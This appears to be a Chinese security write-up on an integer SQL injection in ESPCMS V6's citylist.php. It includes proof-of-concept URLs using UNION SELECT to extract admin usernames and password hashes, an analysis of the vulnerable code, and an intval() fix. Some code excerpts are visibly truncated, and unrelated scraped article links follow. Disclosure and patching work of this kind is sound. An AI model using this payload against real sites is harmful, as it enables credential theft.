catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:
2. 漏洞触发条件

0x1: POC

http://127.0.0.1/ESPCMSV6/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20UNION%20select%201,2,concat%28name,0x7c,password%29,4,5%20FROM%20espcms_v6.espcms_admin_member
http://127.0.0.1/ESPCMSV6/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 UNION select 1,2,concat(name,0x7c,password),4,5 FROM espcms_v6.espcms_admin_member

3. 漏洞影响范围
4. 漏洞代码分析

/adminsoft/control/citylist.php

class important extends connector {

    function important() {
$this->softbase(true);
}
function oncitylist() {
//接收外部参数parentid
$parentid = $this->fun->accept('parentid', 'R'); $parentid = empty($parentid) ? : $parentid;
$verid = $this->fun->accept('verid', 'R');
$verid = empty($verid) ? : $verid;
$db_table = db_prefix . 'city';
$sql = "select * from $db_table where parentid=$parentid"; die(var_dump($sql)); $rs = $this->db->query($sql);
for ($i = ; $rsList = $this->db->fetch_array($rs); $i++) {
if ($verid == $rsList['id']) {
$list.='<option selected value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
} else {
$list.='<option value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
}
}
exit($list);
} }

继续跟进$parentid = $this->fun->accept('parentid', 'R');
/public/class_function.php

function accept($k, $var = 'R', $htmlcode = true, $rehtml = false) {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
//对输入进行了addslash转义,但是对Int整型注入没有效果
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], ) : NULL; return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0163605

5. 防御方法

/adminsoft/control/citylist.php

class important extends connector {

    function important() {
$this->softbase(true);
}
function oncitylist() {
//接收外部参数parentid
$parentid = $this->fun->accept('parentid', 'R');
/**/
$parentid = intval($parentid);
/**/ $parentid = empty($parentid) ? : $parentid;
$verid = $this->fun->accept('verid', 'R');
$verid = empty($verid) ? : $verid;
$db_table = db_prefix . 'city';
$sql = "select * from $db_table where parentid=$parentid"; die(var_dump($sql)); $rs = $this->db->query($sql);
for ($i = ; $rsList = $this->db->fetch_array($rs); $i++) {
if ($verid == $rsList['id']) {
$list.='<option selected value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
} else {
$list.='<option value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
}
}
exit($list);
} }

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

ESPCMS /adminsoft/control/citylist.php Int SQLInjection Vul的更多相关文章

  1. Tutorial: WPF User Control for AX2012

    原作者: https://community.dynamics.com/ax/b/goshoom/archive/2011/10/06/tutorial-wpf-user-control-for-ax ...

  2. System.Windows.Forms.Control : Component, IOleControl, IOleObject, IOleInPlaceObject, IOleInPlaceActiveObject....

    #region 程序集 System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ...

  3. IEEEXtreme 10.0 - Always Be In Control

    这是 meelo 原创的 IEEEXtreme极限编程大赛题解 Xtreme 10.0 - Always Be In Control 题目来源 第10届IEEE极限编程大赛 https://www.h ...

  4. cocos2d-x 源代码分析 : control 源代码分析 ( 控制类组件 controlButton)

    源代码版本号来自3.1rc 转载请注明 cocos2d-x源代码分析总文件夹 http://blog.csdn.net/u011225840/article/details/31743129 1.继承 ...

  5. Linux ALSA声卡驱动之四:Control设备的创建

    声明:本博内容均由http://blog.csdn.net/droidphone原创,转载请注明出处,谢谢! Control接口 Control接口主要让用户空间的应用程序(alsa-lib)可以访问 ...

  6. ESPCMS-Seay自动加手工代码审计

    ESPcms代码审计 源码下载地址:http://yesky.91speed.org.cn/sw/180001_190000/rar/espcms_utf8_5.4.12.05.14.rar 1.自动 ...

  7. Spring Boot 乐观锁加锁失败 - 使用AOP恢复错误

    之前写了一些辅助工作相关的Spring Boot怎么使用AOP.这里继续正题,怎么减少Spring Boot 乐观锁加锁报错的情况(基本可以解决). 1. 包依赖 spring-boot-starte ...

  8. windows消息机制详解(转载)

    消息,就是指Windows发出的一个通知,告诉应用程序某个事情发生了.例如,单击鼠标.改变窗口尺寸.按下键盘上的一个键都会使Windows发送一个消息给应用程序.消息本身是作为一个记录传递给应用程序的 ...

  9. S3C2440UART之FIFO

    一.基础知识 S3C2440有3个独立的串口,每一个都可以利用DMA和中断方式操作.每个包含2个64字节FIFO,一个收,一个发.非FIFO模式相当于FIFO模式的一个寄存器缓冲模式.每一个UART有 ...

随机推荐

  1. Camera.Parameters 参数

    public class Camera.Parameters extends Object java.lang.Object    ↳ android.hardware.Camera.Paramete ...

  2. C#并行编程中的Parallel.Invoke

    一.基础知识 并行编程:并行编程是指软件开发的代码,它能在同一时间执行多个计算任务,提高执行效率和性能一种编程方式,属于多线程编程范畴.所以我们在设计过程中一般会将很多任务划分成若干个互相独立子任务, ...

  3. Spring 4.0.2 学习笔记(1) - 最基本的注入

    1. 添加maven支持 <dependency> <groupId>org.springframework</groupId> <artifactId> ...

  4. HDU2389-Rain on your Parade-二分图匹配-ISAP

    裸二分图匹配 /*--------------------------------------------------------------------------------------*/ #i ...

  5. Scala入门之Array

    /** * 大数据技术是数据的集合以及对数据集合的操作技术的统称,具体来说: * 1,数据集合:会涉及数据的搜集.存储等,搜集会有很多技术,存储现在比较经典的是使用Hadoop,也有很多情况使用Kaf ...

  6. 构造函数的return返回值

    3 1. 2. 3.

  7. 关于Hibernate的sequence diagram

  8. VirtualBox 扩展C盘

    1. 关闭虚拟机,找到ovi文件 2.执行命令: C:\Program Files\Oracle\VirtualBox>VBoxManage.exe modifyhd "C:\User ...

  9. xml文件的生成与解析

    生成方法一:同事StringBuffer类对xml文件格式解析写入 package com.steel_rocky.xml; import android.app.Activity; import a ...

  10. Swift基础--Swift中的异常处理

    Swift中的异常处理 OC中的异常处理:方法的参数要求传入一个error指针地址,方法执行完后,如果有错误,内部会给error赋值 Swift中的异常处理:有throws的方法,就要try起来,然后 ...